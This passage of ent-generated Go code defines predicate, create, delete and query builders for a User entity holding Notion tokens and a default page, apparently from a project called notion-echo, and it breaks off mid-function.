opts...).ToFunc() } // ByDefaultPage orders the results by the default_page field. func ByDefaultPage(opts ...sql.OrderTermOption) OrderOption { return sql.OrderByField(FieldDefaultPage, opts...).ToFunc() } ``` ## /adapters/ent/user/where.go ```go path="/adapters/ent/user/where.go" // Code generated by ent, DO NOT EDIT. package user import ( "time" "entgo.io/ent/dialect/sql" "github.com/notion-echo/adapters/ent/predicate" ) // ID filters vertices based on their ID field. func ID(id int) predicate.User { return predicate.User(sql.FieldEQ(FieldID, id)) } // IDEQ applies the EQ predicate on the ID field. func IDEQ(id int) predicate.User { return predicate.User(sql.FieldEQ(FieldID, id)) } // IDNEQ applies the NEQ predicate on the ID field. func IDNEQ(id int) predicate.User { return predicate.User(sql.FieldNEQ(FieldID, id)) } // IDIn applies the In predicate on the ID field. func IDIn(ids ...int) predicate.User { return predicate.User(sql.FieldIn(FieldID, ids...)) } // IDNotIn applies the NotIn predicate on the ID field. func IDNotIn(ids ...int) predicate.User { return predicate.User(sql.FieldNotIn(FieldID, ids...)) } // IDGT applies the GT predicate on the ID field. func IDGT(id int) predicate.User { return predicate.User(sql.FieldGT(FieldID, id)) } // IDGTE applies the GTE predicate on the ID field. func IDGTE(id int) predicate.User { return predicate.User(sql.FieldGTE(FieldID, id)) } // IDLT applies the LT predicate on the ID field. func IDLT(id int) predicate.User { return predicate.User(sql.FieldLT(FieldID, id)) } // IDLTE applies the LTE predicate on the ID field. func IDLTE(id int) predicate.User { return predicate.User(sql.FieldLTE(FieldID, id)) } // CreatedAt applies equality check predicate on the "created_at" field. It's identical to CreatedAtEQ. func CreatedAt(v time.Time) predicate.User { return predicate.User(sql.FieldEQ(FieldCreatedAt, v)) } // UpdatedAt applies equality check predicate on the "updated_at" field. It's identical to UpdatedAtEQ. func UpdatedAt(v time.Time) predicate.User { return predicate.User(sql.FieldEQ(FieldUpdatedAt, v)) } // StateToken applies equality check predicate on the "state_token" field. It's identical to StateTokenEQ. func StateToken(v string) predicate.User { return predicate.User(sql.FieldEQ(FieldStateToken, v)) } // NotionToken applies equality check predicate on the "notion_token" field. It's identical to NotionTokenEQ. func NotionToken(v string) predicate.User { return predicate.User(sql.FieldEQ(FieldNotionToken, v)) } // DefaultPage applies equality check predicate on the "default_page" field. It's identical to DefaultPageEQ. func DefaultPage(v string) predicate.User { return predicate.User(sql.FieldEQ(FieldDefaultPage, v)) } // CreatedAtEQ applies the EQ predicate on the "created_at" field. func CreatedAtEQ(v time.Time) predicate.User { return predicate.User(sql.FieldEQ(FieldCreatedAt, v)) } // CreatedAtNEQ applies the NEQ predicate on the "created_at" field. func CreatedAtNEQ(v time.Time) predicate.User { return predicate.User(sql.FieldNEQ(FieldCreatedAt, v)) } // CreatedAtIn applies the In predicate on the "created_at" field. func CreatedAtIn(vs ...time.Time) predicate.User { return predicate.User(sql.FieldIn(FieldCreatedAt, vs...)) } // CreatedAtNotIn applies the NotIn predicate on the "created_at" field. func CreatedAtNotIn(vs ...time.Time) predicate.User { return predicate.User(sql.FieldNotIn(FieldCreatedAt, vs...)) } // CreatedAtGT applies the GT predicate on the "created_at" field. func CreatedAtGT(v time.Time) predicate.User { return predicate.User(sql.FieldGT(FieldCreatedAt, v)) } // CreatedAtGTE applies the GTE predicate on the "created_at" field. func CreatedAtGTE(v time.Time) predicate.User { return predicate.User(sql.FieldGTE(FieldCreatedAt, v)) } // CreatedAtLT applies the LT predicate on the "created_at" field. func CreatedAtLT(v time.Time) predicate.User { return predicate.User(sql.FieldLT(FieldCreatedAt, v)) } // CreatedAtLTE applies the LTE predicate on the "created_at" field. func CreatedAtLTE(v time.Time) predicate.User { return predicate.User(sql.FieldLTE(FieldCreatedAt, v)) } // UpdatedAtEQ applies the EQ predicate on the "updated_at" field. func UpdatedAtEQ(v time.Time) predicate.User { return predicate.User(sql.FieldEQ(FieldUpdatedAt, v)) } // UpdatedAtNEQ applies the NEQ predicate on the "updated_at" field. func UpdatedAtNEQ(v time.Time) predicate.User { return predicate.User(sql.FieldNEQ(FieldUpdatedAt, v)) } // UpdatedAtIn applies the In predicate on the "updated_at" field. func UpdatedAtIn(vs ...time.Time) predicate.User { return predicate.User(sql.FieldIn(FieldUpdatedAt, vs...)) } // UpdatedAtNotIn applies the NotIn predicate on the "updated_at" field. func UpdatedAtNotIn(vs ...time.Time) predicate.User { return predicate.User(sql.FieldNotIn(FieldUpdatedAt, vs...)) } // UpdatedAtGT applies the GT predicate on the "updated_at" field. func UpdatedAtGT(v time.Time) predicate.User { return predicate.User(sql.FieldGT(FieldUpdatedAt, v)) } // UpdatedAtGTE applies the GTE predicate on the "updated_at" field. func UpdatedAtGTE(v time.Time) predicate.User { return predicate.User(sql.FieldGTE(FieldUpdatedAt, v)) } // UpdatedAtLT applies the LT predicate on the "updated_at" field. func UpdatedAtLT(v time.Time) predicate.User { return predicate.User(sql.FieldLT(FieldUpdatedAt, v)) } // UpdatedAtLTE applies the LTE predicate on the "updated_at" field. func UpdatedAtLTE(v time.Time) predicate.User { return predicate.User(sql.FieldLTE(FieldUpdatedAt, v)) } // StateTokenEQ applies the EQ predicate on the "state_token" field. func StateTokenEQ(v string) predicate.User { return predicate.User(sql.FieldEQ(FieldStateToken, v)) } // StateTokenNEQ applies the NEQ predicate on the "state_token" field. func StateTokenNEQ(v string) predicate.User { return predicate.User(sql.FieldNEQ(FieldStateToken, v)) } // StateTokenIn applies the In predicate on the "state_token" field. func StateTokenIn(vs ...string) predicate.User { return predicate.User(sql.FieldIn(FieldStateToken, vs...)) } // StateTokenNotIn applies the NotIn predicate on the "state_token" field. func StateTokenNotIn(vs ...string) predicate.User { return predicate.User(sql.FieldNotIn(FieldStateToken, vs...)) } // StateTokenGT applies the GT predicate on the "state_token" field. func StateTokenGT(v string) predicate.User { return predicate.User(sql.FieldGT(FieldStateToken, v)) } // StateTokenGTE applies the GTE predicate on the "state_token" field. func StateTokenGTE(v string) predicate.User { return predicate.User(sql.FieldGTE(FieldStateToken, v)) } // StateTokenLT applies the LT predicate on the "state_token" field. func StateTokenLT(v string) predicate.User { return predicate.User(sql.FieldLT(FieldStateToken, v)) } // StateTokenLTE applies the LTE predicate on the "state_token" field. func StateTokenLTE(v string) predicate.User { return predicate.User(sql.FieldLTE(FieldStateToken, v)) } // StateTokenContains applies the Contains predicate on the "state_token" field. func StateTokenContains(v string) predicate.User { return predicate.User(sql.FieldContains(FieldStateToken, v)) } // StateTokenHasPrefix applies the HasPrefix predicate on the "state_token" field. func StateTokenHasPrefix(v string) predicate.User { return predicate.User(sql.FieldHasPrefix(FieldStateToken, v)) } // StateTokenHasSuffix applies the HasSuffix predicate on the "state_token" field. func StateTokenHasSuffix(v string) predicate.User { return predicate.User(sql.FieldHasSuffix(FieldStateToken, v)) } // StateTokenEqualFold applies the EqualFold predicate on the "state_token" field. func StateTokenEqualFold(v string) predicate.User { return predicate.User(sql.FieldEqualFold(FieldStateToken, v)) } // StateTokenContainsFold applies the ContainsFold predicate on the "state_token" field. func StateTokenContainsFold(v string) predicate.User { return predicate.User(sql.FieldContainsFold(FieldStateToken, v)) } // NotionTokenEQ applies the EQ predicate on the "notion_token" field. func NotionTokenEQ(v string) predicate.User { return predicate.User(sql.FieldEQ(FieldNotionToken, v)) } // NotionTokenNEQ applies the NEQ predicate on the "notion_token" field. func NotionTokenNEQ(v string) predicate.User { return predicate.User(sql.FieldNEQ(FieldNotionToken, v)) } // NotionTokenIn applies the In predicate on the "notion_token" field. func NotionTokenIn(vs ...string) predicate.User { return predicate.User(sql.FieldIn(FieldNotionToken, vs...)) } // NotionTokenNotIn applies the NotIn predicate on the "notion_token" field. func NotionTokenNotIn(vs ...string) predicate.User { return predicate.User(sql.FieldNotIn(FieldNotionToken, vs...)) } // NotionTokenGT applies the GT predicate on the "notion_token" field. func NotionTokenGT(v string) predicate.User { return predicate.User(sql.FieldGT(FieldNotionToken, v)) } // NotionTokenGTE applies the GTE predicate on the "notion_token" field. func NotionTokenGTE(v string) predicate.User { return predicate.User(sql.FieldGTE(FieldNotionToken, v)) } // NotionTokenLT applies the LT predicate on the "notion_token" field. func NotionTokenLT(v string) predicate.User { return predicate.User(sql.FieldLT(FieldNotionToken, v)) } // NotionTokenLTE applies the LTE predicate on the "notion_token" field. func NotionTokenLTE(v string) predicate.User { return predicate.User(sql.FieldLTE(FieldNotionToken, v)) } // NotionTokenContains applies the Contains predicate on the "notion_token" field. func NotionTokenContains(v string) predicate.User { return predicate.User(sql.FieldContains(FieldNotionToken, v)) } // NotionTokenHasPrefix applies the HasPrefix predicate on the "notion_token" field. func NotionTokenHasPrefix(v string) predicate.User { return predicate.User(sql.FieldHasPrefix(FieldNotionToken, v)) } // NotionTokenHasSuffix applies the HasSuffix predicate on the "notion_token" field. func NotionTokenHasSuffix(v string) predicate.User { return predicate.User(sql.FieldHasSuffix(FieldNotionToken, v)) } // NotionTokenEqualFold applies the EqualFold predicate on the "notion_token" field. func NotionTokenEqualFold(v string) predicate.User { return predicate.User(sql.FieldEqualFold(FieldNotionToken, v)) } // NotionTokenContainsFold applies the ContainsFold predicate on the "notion_token" field. func NotionTokenContainsFold(v string) predicate.User { return predicate.User(sql.FieldContainsFold(FieldNotionToken, v)) } // DefaultPageEQ applies the EQ predicate on the "default_page" field. func DefaultPageEQ(v string) predicate.User { return predicate.User(sql.FieldEQ(FieldDefaultPage, v)) } // DefaultPageNEQ applies the NEQ predicate on the "default_page" field. func DefaultPageNEQ(v string) predicate.User { return predicate.User(sql.FieldNEQ(FieldDefaultPage, v)) } // DefaultPageIn applies the In predicate on the "default_page" field. func DefaultPageIn(vs ...string) predicate.User { return predicate.User(sql.FieldIn(FieldDefaultPage, vs...)) } // DefaultPageNotIn applies the NotIn predicate on the "default_page" field. func DefaultPageNotIn(vs ...string) predicate.User { return predicate.User(sql.FieldNotIn(FieldDefaultPage, vs...)) } // DefaultPageGT applies the GT predicate on the "default_page" field. func DefaultPageGT(v string) predicate.User { return predicate.User(sql.FieldGT(FieldDefaultPage, v)) } // DefaultPageGTE applies the GTE predicate on the "default_page" field. func DefaultPageGTE(v string) predicate.User { return predicate.User(sql.FieldGTE(FieldDefaultPage, v)) } // DefaultPageLT applies the LT predicate on the "default_page" field. func DefaultPageLT(v string) predicate.User { return predicate.User(sql.FieldLT(FieldDefaultPage, v)) } // DefaultPageLTE applies the LTE predicate on the "default_page" field. func DefaultPageLTE(v string) predicate.User { return predicate.User(sql.FieldLTE(FieldDefaultPage, v)) } // DefaultPageContains applies the Contains predicate on the "default_page" field. func DefaultPageContains(v string) predicate.User { return predicate.User(sql.FieldContains(FieldDefaultPage, v)) } // DefaultPageHasPrefix applies the HasPrefix predicate on the "default_page" field. func DefaultPageHasPrefix(v string) predicate.User { return predicate.User(sql.FieldHasPrefix(FieldDefaultPage, v)) } // DefaultPageHasSuffix applies the HasSuffix predicate on the "default_page" field. func DefaultPageHasSuffix(v string) predicate.User { return predicate.User(sql.FieldHasSuffix(FieldDefaultPage, v)) } // DefaultPageEqualFold applies the EqualFold predicate on the "default_page" field. func DefaultPageEqualFold(v string) predicate.User { return predicate.User(sql.FieldEqualFold(FieldDefaultPage, v)) } // DefaultPageContainsFold applies the ContainsFold predicate on the "default_page" field. func DefaultPageContainsFold(v string) predicate.User { return predicate.User(sql.FieldContainsFold(FieldDefaultPage, v)) } // And groups predicates with the AND operator between them. func And(predicates ...predicate.User) predicate.User { return predicate.User(sql.AndPredicates(predicates...)) } // Or groups predicates with the OR operator between them. func Or(predicates ...predicate.User) predicate.User { return predicate.User(sql.OrPredicates(predicates...)) } // Not applies the not operator on the given predicate. func Not(p predicate.User) predicate.User { return predicate.User(sql.NotPredicates(p)) } ``` ## /adapters/ent/user_create.go ```go path="/adapters/ent/user_create.go" // Code generated by ent, DO NOT EDIT. package ent import ( "context" "errors" "fmt" "time" "entgo.io/ent/dialect/sql/sqlgraph" "entgo.io/ent/schema/field" "github.com/notion-echo/adapters/ent/user" ) // UserCreate is the builder for creating a User entity. type UserCreate struct { config mutation *UserMutation hooks []Hook } // SetCreatedAt sets the "created_at" field. func (uc *UserCreate) SetCreatedAt(t time.Time) *UserCreate { uc.mutation.SetCreatedAt(t) return uc } // SetNillableCreatedAt sets the "created_at" field if the given value is not nil. func (uc *UserCreate) SetNillableCreatedAt(t *time.Time) *UserCreate { if t != nil { uc.SetCreatedAt(*t) } return uc } // SetUpdatedAt sets the "updated_at" field. func (uc *UserCreate) SetUpdatedAt(t time.Time) *UserCreate { uc.mutation.SetUpdatedAt(t) return uc } // SetNillableUpdatedAt sets the "updated_at" field if the given value is not nil. func (uc *UserCreate) SetNillableUpdatedAt(t *time.Time) *UserCreate { if t != nil { uc.SetUpdatedAt(*t) } return uc } // SetStateToken sets the "state_token" field. func (uc *UserCreate) SetStateToken(s string) *UserCreate { uc.mutation.SetStateToken(s) return uc } // SetNillableStateToken sets the "state_token" field if the given value is not nil. func (uc *UserCreate) SetNillableStateToken(s *string) *UserCreate { if s != nil { uc.SetStateToken(*s) } return uc } // SetNotionToken sets the "notion_token" field. func (uc *UserCreate) SetNotionToken(s string) *UserCreate { uc.mutation.SetNotionToken(s) return uc } // SetNillableNotionToken sets the "notion_token" field if the given value is not nil. func (uc *UserCreate) SetNillableNotionToken(s *string) *UserCreate { if s != nil { uc.SetNotionToken(*s) } return uc } // SetDefaultPage sets the "default_page" field. func (uc *UserCreate) SetDefaultPage(s string) *UserCreate { uc.mutation.SetDefaultPage(s) return uc } // SetNillableDefaultPage sets the "default_page" field if the given value is not nil. func (uc *UserCreate) SetNillableDefaultPage(s *string) *UserCreate { if s != nil { uc.SetDefaultPage(*s) } return uc } // SetID sets the "id" field. func (uc *UserCreate) SetID(i int) *UserCreate { uc.mutation.SetID(i) return uc } // Mutation returns the UserMutation object of the builder. func (uc *UserCreate) Mutation() *UserMutation { return uc.mutation } // Save creates the User in the database. func (uc *UserCreate) Save(ctx context.Context) (*User, error) { uc.defaults() return withHooks(ctx, uc.sqlSave, uc.mutation, uc.hooks) } // SaveX calls Save and panics if Save returns an error. func (uc *UserCreate) SaveX(ctx context.Context) *User { v, err := uc.Save(ctx) if err != nil { panic(err) } return v } // Exec executes the query. func (uc *UserCreate) Exec(ctx context.Context) error { _, err := uc.Save(ctx) return err } // ExecX is like Exec, but panics if an error occurs. func (uc *UserCreate) ExecX(ctx context.Context) { if err := uc.Exec(ctx); err != nil { panic(err) } } // defaults sets the default values of the builder before save. func (uc *UserCreate) defaults() { if _, ok := uc.mutation.CreatedAt(); !ok { v := user.DefaultCreatedAt() uc.mutation.SetCreatedAt(v) } if _, ok := uc.mutation.UpdatedAt(); !ok { v := user.DefaultUpdatedAt() uc.mutation.SetUpdatedAt(v) } if _, ok := uc.mutation.StateToken(); !ok { v := user.DefaultStateToken uc.mutation.SetStateToken(v) } if _, ok := uc.mutation.NotionToken(); !ok { v := user.DefaultNotionToken uc.mutation.SetNotionToken(v) } if _, ok := uc.mutation.DefaultPage(); !ok { v := user.DefaultDefaultPage uc.mutation.SetDefaultPage(v) } } // check runs all checks and user-defined validators on the builder. func (uc *UserCreate) check() error { if _, ok := uc.mutation.CreatedAt(); !ok { return &ValidationError{Name: "created_at", err: errors.New(`ent: missing required field "User.created_at"`)} } if _, ok := uc.mutation.UpdatedAt(); !ok { return &ValidationError{Name: "updated_at", err: errors.New(`ent: missing required field "User.updated_at"`)} } if _, ok := uc.mutation.StateToken(); !ok { return &ValidationError{Name: "state_token", err: errors.New(`ent: missing required field "User.state_token"`)} } if _, ok := uc.mutation.NotionToken(); !ok { return &ValidationError{Name: "notion_token", err: errors.New(`ent: missing required field "User.notion_token"`)} } if _, ok := uc.mutation.DefaultPage(); !ok { return &ValidationError{Name: "default_page", err: errors.New(`ent: missing required field "User.default_page"`)} } return nil } func (uc *UserCreate) sqlSave(ctx context.Context) (*User, error) { if err := uc.check(); err != nil { return nil, err } _node, _spec := uc.createSpec() if err := sqlgraph.CreateNode(ctx, uc.driver, _spec); err != nil { if sqlgraph.IsConstraintError(err) { err = &ConstraintError{msg: err.Error(), wrap: err} } return nil, err } if _spec.ID.Value != _node.ID { id := _spec.ID.Value.(int64) _node.ID = int(id) } uc.mutation.id = &_node.ID uc.mutation.done = true return _node, nil } func (uc *UserCreate) createSpec() (*User, *sqlgraph.CreateSpec) { var ( _node = &User{config: uc.config} _spec = sqlgraph.NewCreateSpec(user.Table, sqlgraph.NewFieldSpec(user.FieldID, field.TypeInt)) ) if id, ok := uc.mutation.ID(); ok { _node.ID = id _spec.ID.Value = id } if value, ok := uc.mutation.CreatedAt(); ok { _spec.SetField(user.FieldCreatedAt, field.TypeTime, value) _node.CreatedAt = value } if value, ok := uc.mutation.UpdatedAt(); ok { _spec.SetField(user.FieldUpdatedAt, field.TypeTime, value) _node.UpdatedAt = value } if value, ok := uc.mutation.StateToken(); ok { _spec.SetField(user.FieldStateToken, field.TypeString, value) _node.StateToken = value } if value, ok := uc.mutation.NotionToken(); ok { _spec.SetField(user.FieldNotionToken, field.TypeString, value) _node.NotionToken = value } if value, ok := uc.mutation.DefaultPage(); ok { _spec.SetField(user.FieldDefaultPage, field.TypeString, value) _node.DefaultPage = value } return _node, _spec } // UserCreateBulk is the builder for creating many User entities in bulk. type UserCreateBulk struct { config err error builders []*UserCreate } // Save creates the User entities in the database. func (ucb *UserCreateBulk) Save(ctx context.Context) ([]*User, error) { if ucb.err != nil { return nil, ucb.err } specs := make([]*sqlgraph.CreateSpec, len(ucb.builders)) nodes := make([]*User, len(ucb.builders)) mutators := make([]Mutator, len(ucb.builders)) for i := range ucb.builders { func(i int, root context.Context) { builder := ucb.builders[i] builder.defaults() var mut Mutator = MutateFunc(func(ctx context.Context, m Mutation) (Value, error) { mutation, ok := m.(*UserMutation) if !ok { return nil, fmt.Errorf("unexpected mutation type %T", m) } if err := builder.check(); err != nil { return nil, err } builder.mutation = mutation var err error nodes[i], specs[i] = builder.createSpec() if i < len(mutators)-1 { _, err = mutators[i+1].Mutate(root, ucb.builders[i+1].mutation) } else { spec := &sqlgraph.BatchCreateSpec{Nodes: specs} // Invoke the actual operation on the latest mutation in the chain. if err = sqlgraph.BatchCreate(ctx, ucb.driver, spec); err != nil { if sqlgraph.IsConstraintError(err) { err = &ConstraintError{msg: err.Error(), wrap: err} } } } if err != nil { return nil, err } mutation.id = &nodes[i].ID if specs[i].ID.Value != nil && nodes[i].ID == 0 { id := specs[i].ID.Value.(int64) nodes[i].ID = int(id) } mutation.done = true return nodes[i], nil }) for i := len(builder.hooks) - 1; i >= 0; i-- { mut = builder.hooks[i](mut) } mutators[i] = mut }(i, ctx) } if len(mutators) > 0 { if _, err := mutators[0].Mutate(ctx, ucb.builders[0].mutation); err != nil { return nil, err } } return nodes, nil } // SaveX is like Save, but panics if an error occurs. func (ucb *UserCreateBulk) SaveX(ctx context.Context) []*User { v, err := ucb.Save(ctx) if err != nil { panic(err) } return v } // Exec executes the query. func (ucb *UserCreateBulk) Exec(ctx context.Context) error { _, err := ucb.Save(ctx) return err } // ExecX is like Exec, but panics if an error occurs. func (ucb *UserCreateBulk) ExecX(ctx context.Context) { if err := ucb.Exec(ctx); err != nil { panic(err) } } ``` ## /adapters/ent/user_delete.go ```go path="/adapters/ent/user_delete.go" // Code generated by ent, DO NOT EDIT. package ent import ( "context" "entgo.io/ent/dialect/sql" "entgo.io/ent/dialect/sql/sqlgraph" "entgo.io/ent/schema/field" "github.com/notion-echo/adapters/ent/predicate" "github.com/notion-echo/adapters/ent/user" ) // UserDelete is the builder for deleting a User entity. type UserDelete struct { config hooks []Hook mutation *UserMutation } // Where appends a list predicates to the UserDelete builder. func (ud *UserDelete) Where(ps ...predicate.User) *UserDelete { ud.mutation.Where(ps...) return ud } // Exec executes the deletion query and returns how many vertices were deleted. func (ud *UserDelete) Exec(ctx context.Context) (int, error) { return withHooks(ctx, ud.sqlExec, ud.mutation, ud.hooks) } // ExecX is like Exec, but panics if an error occurs. func (ud *UserDelete) ExecX(ctx context.Context) int { n, err := ud.Exec(ctx) if err != nil { panic(err) } return n } func (ud *UserDelete) sqlExec(ctx context.Context) (int, error) { _spec := sqlgraph.NewDeleteSpec(user.Table, sqlgraph.NewFieldSpec(user.FieldID, field.TypeInt)) if ps := ud.mutation.predicates; len(ps) > 0 { _spec.Predicate = func(selector *sql.Selector) { for i := range ps { ps[i](selector) } } } affected, err := sqlgraph.DeleteNodes(ctx, ud.driver, _spec) if err != nil && sqlgraph.IsConstraintError(err) { err = &ConstraintError{msg: err.Error(), wrap: err} } ud.mutation.done = true return affected, err } // UserDeleteOne is the builder for deleting a single User entity. type UserDeleteOne struct { ud *UserDelete } // Where appends a list predicates to the UserDelete builder. func (udo *UserDeleteOne) Where(ps ...predicate.User) *UserDeleteOne { udo.ud.mutation.Where(ps...) return udo } // Exec executes the deletion query. func (udo *UserDeleteOne) Exec(ctx context.Context) error { n, err := udo.ud.Exec(ctx) switch { case err != nil: return err case n == 0: return &NotFoundError{user.Label} default: return nil } } // ExecX is like Exec, but panics if an error occurs. func (udo *UserDeleteOne) ExecX(ctx context.Context) { if err := udo.Exec(ctx); err != nil { panic(err) } } ``` ## /adapters/ent/user_query.go ```go path="/adapters/ent/user_query.go" // Code generated by ent, DO NOT EDIT. package ent import ( "context" "fmt" "math" "entgo.io/ent/dialect/sql" "entgo.io/ent/dialect/sql/sqlgraph" "entgo.io/ent/schema/field" "github.com/notion-echo/adapters/ent/predicate" "github.com/notion-echo/adapters/ent/user" ) // UserQuery is the builder for querying User entities. type UserQuery struct { config ctx *QueryContext order []user.OrderOption inters []Interceptor predicates []predicate.User // intermediate query (i.e. traversal path). sql *sql.Selector path func(context.Context) (*sql.Selector, error) } // Where adds a new predicate for the UserQuery builder. func (uq *UserQuery) Where(ps ...predicate.User) *UserQuery { uq.predicates = append(uq.predicates, ps...) return uq } // Limit the number of records to be returned by this query. func (uq *UserQuery) Limit(limit int) *UserQuery { uq.ctx.Limit = &limit return uq } // Offset to start from. func (uq *UserQuery) Offset(offset int) *UserQuery { uq.ctx.Offset = &offset return uq } // Unique configures the query builder to filter duplicate records on query. // By default, unique is set to true, and can be disabled using this method. func (uq *UserQuery) Unique(unique bool) *UserQuery { uq.ctx.Unique = &unique return uq } // Order specifies how the records should be ordered. func (uq *UserQuery) Order(o ...user.OrderOption) *UserQuery { uq.order = append(uq.order, o...) return uq } // First returns the first User entity from the query. // Returns a *NotFoundError when no User was found. func (uq *UserQuery) First(ctx context.Context) (*User, error) { nodes, err := uq.Limit(1).All(setContextOp(ctx, uq.ctx, "First")) if err != nil { return nil, err } if len(nodes) == 0 { return nil, &NotFoundError{user.Label} } return nodes[0], nil } // FirstX is like First, but panics if an error occurs. func (uq *UserQuery) FirstX(ctx context.Context) *User { node, err := uq.First(ctx) if err != nil && !IsNotFound(err) { panic(err) } return node } // FirstID returns the first User ID from the query. // Returns a *NotFoundError when no User ID was found. func (uq *UserQuery) FirstID(ctx context.Context) (id int, err error) { var ids []int if ids, err = uq.Limit(1).IDs(setContextOp(ctx, uq.ctx, "FirstID")); err != nil { return } if len(ids) == 0 { err = &NotFoundError{user.Label} return } return ids[0], nil } // FirstIDX is like FirstID, but panics if an error occurs. func (uq *UserQuery) FirstIDX(ctx context.Context) int { id, err := uq.FirstID(ctx) if err != nil && !IsNotFound(err) { panic(err) } return id } // Only returns a single User entity found by the query, ensuring it only returns one. // Returns a *NotSingularError when more than one User entity is found. // Returns a *NotFoundError when no User entities are found. func (uq *UserQuery) Only(ctx context.Context) (*User, error) { nodes, err := uq.Limit(2).All(setContextOp(ctx, uq.ctx, "Only")) if err != nil { return nil, err } switch len(nodes) { case 1: return nodes[0], nil case 0: return nil, &NotFoundError{user.Label} default: return nil, &NotSingularError{user.Label} } } // OnlyX is like Only, but panics if an error occurs. func (uq *UserQuery) OnlyX(ctx context.Context) *User { node, err := uq.Only(ctx) if err != nil { panic(err) } return node } // OnlyID is like Only, but returns the only User ID in the query. // Returns a *NotSingularError when more than one User ID is found. // Returns a *NotFoundError when no entities are found. func (uq *UserQuery) OnlyID(ctx context.Context) (id int, err error) { var ids []int if ids, err = uq.Limit(2).IDs(setContextOp(ctx, uq.ctx, "OnlyID")); err != nil { return } switch len(ids) { case 1: id = ids[0] case 0: err = &NotFoundError{user.Label} default: err = &NotSingularError{user.Label} } return } // OnlyIDX is like OnlyID, but panics if an error occurs. func (uq *UserQuery) OnlyIDX(ctx context.Context) int { id, err := uq.OnlyID(ctx) if err != nil { panic(err) } return id } // All executes the query and returns a list of Users. func (uq *UserQuery) All(ctx context.Context) ([]*User, error) { ctx = setContextOp(ctx, uq.ctx, "All") if err := uq.prepareQuery(ctx); err != nil { return nil, err } qr := querierAll[[]*User, *UserQuery]() return withInterceptors[[]*User](ctx, uq, qr, uq.inters) } // AllX is like All, but panics if an error occurs. func (uq *UserQuery) AllX(ctx context.Context) []*User { nodes, err := uq.All(ctx) if err != nil { panic(err) } return nodes } // IDs executes the query and returns a list of User IDs. func (uq *UserQuery) IDs(ctx context.Context) (ids []int, err error) { if uq.ctx.Unique == nil && uq.path != nil { uq.Unique(true) } ctx = setContextOp(ctx, uq.ctx, "IDs") if err = uq.Select(user.FieldID).Scan(ctx, &ids); err != nil { return nil, err } return ids, nil } // IDsX is like IDs, but panics if an error occurs. func (uq *UserQuery) IDsX(ctx context.Context) []int { ids, err := uq.IDs(ctx) if err != nil { panic(err) } return ids } // Count returns the count of the given query. func (uq *UserQuery) Count(ctx context.Context) (int, error) { ctx = setContextOp(ctx, uq.ctx, "Count") if err := uq.prepareQuery(ctx); err != nil { return 0, err } return withInterceptors[int](ctx, uq, querierCount[*UserQuery](), uq.inters) } // CountX is like Count, but panics if an error occurs. func (uq *UserQuery) CountX(ctx context.Context) int { count, err := uq.Count(ctx) if err != nil { panic(err) } return count } // Exist returns true if the query has elements in the graph. func (uq *UserQuery) Exist(ctx context.Context) (bool, error) { ctx = setContextOp(ctx, uq.ctx, "Exist") switch _, err := uq.FirstID(ctx); { case IsNotFound(err): return false, nil case err != nil: return false, fmt.Errorf("ent: check existence: %w", err) default: return true, nil } } // ExistX is like Exist, but panics if an error occurs. func (uq *UserQuery) ExistX(ctx context.Context) bool { exist, err := uq.Exist(ctx) if err != nil { panic(err) } return exist } // Clone returns a duplicate of the UserQuery builder, including all associated steps. It can be // used to prepare common query builders and use them differently after the clone is made. func (uq *UserQuery) Clone() *UserQuery { if uq == nil { return nil } return &UserQuery{ config: uq.config, ctx: uq.ctx.Clone(), order: append([]user.OrderOption{}, uq.order...), inters: append([]Interceptor{}, uq.inters...), predicates: append([]predicate.User{}, uq.predicates...), // clone intermediate query. sql: uq.sql.Clone(), path: uq.path, } } // GroupBy is used to group vertices by one or more fields/columns. // It is often used with aggregate functions, like: count, max, mean, min, sum. // // Example: // // var v []struct { // CreatedAt time.Time `json:"created_at,omitempty"` // Count int `json:"count,omitempty"` // } // // client.User.Query(). // GroupBy(user.FieldCreatedAt). // Aggregate(ent.Count()). // Scan(ctx, &v) func (uq *UserQuery) GroupBy(field string, fields ...string) *UserGroupBy { uq.ctx.Fields = append([]string{field}, fields...) grbuild := &UserGroupBy{build: uq} grbuild.flds = &uq.ctx.Fields grbuild.label = user.Label grbuild.scan = grbuild.Scan return grbuild } // Select allows the selection one or more fields/columns for the given query, // instead of selecting all fields in the entity. // // Example: // // var v []struct { // CreatedAt time.Time `json:"created_at,omitempty"` // } // // client.User.Query(). // Select(user.FieldCreatedAt). // Scan(ctx, &v) func (uq *UserQuery) Select(fields ...string) *UserSelect { uq.ctx.Fields = append(uq.ctx.Fields, fields...) sbuild := &UserSelect{UserQuery: uq} sbuild.label = user.Label sbuild.flds, sbuild.scan = &uq.ctx.Fields, sbuild.Scan return sbuild } // Aggregate returns a UserSelect configured with the given aggregations. func (uq *UserQuery) Aggregate(fns ...AggregateFunc) *UserSelect { return uq.Select().Aggregate(fns...) } func (uq *UserQuery) prepareQuery(ctx context.Context) error { for _, inter := range uq.inters { if inter == nil { return fmt.Errorf("ent: uninitialized interceptor (forgotten import ent/runtime?)") } if trv, ok := inter.(Traverser); ok { if err := trv.Traverse(ctx, uq); err != nil { return err } } } for _, f := range uq.ctx.Fields { if !user.ValidColumn(f) { return &ValidationError{Name: f, err: fmt.Errorf("ent: invalid field %q for query", f)} } } if uq.path != nil { prev, err := uq.path(ctx) if err != nil { return err } uq.sql = prev } return nil } func (uq *UserQuery) sqlAll(ctx context.Context, hooks ...queryHook) ([]*User, error) { var ( nodes = []*User{} _spec = uq.querySpec() ) _spec.ScanValues = func(columns []string) ([]any, error) { return (*User).scanValues(nil, columns) } _spec.Assign = func(columns []string, values []any) error { node := &User{config: uq.config} nodes = append(nodes, node) return node.assignValues(columns, values) } for i := range hooks { hooks[i](ctx, _spec) } if err := sqlgraph.QueryNodes(ctx, uq.driver, _spec); err != nil { return nil, err } if len(nodes) == 0 { return nodes, nil } return nodes, nil } func (uq *UserQuery) sqlCount(ctx context.Context) (int, error) { _spec := uq.querySpec() _spec.Node.Columns = uq.ctx.Fields if len(uq.ctx.Fields) > 0 { _spec.Unique = uq.ctx.Unique != nil && *uq.ctx.Unique } return sqlgraph.CountNodes(ctx, uq.driver, _spec) } func (uq *UserQuery) querySpec() *sqlgraph.QuerySpec { _spec := sqlgraph.NewQuerySpec(user.Table, user.Columns, sqlgraph.NewFieldSpec(user.FieldID, field.TypeInt)) _spec.From = uq.sql if unique := uq.ctx.Unique; unique != nil { _spec.Unique = *unique } else if uq.path != nil { _spec.Unique = true } if fields := uq.ctx.Fields; len(fields) > 0 { _spec.Node.Columns = make([]string, 0, len(fields)) _spec.Node.Columns = append(_spec.Node.Columns, user.FieldID) for i := range fields { if fields[i] != user.FieldID { 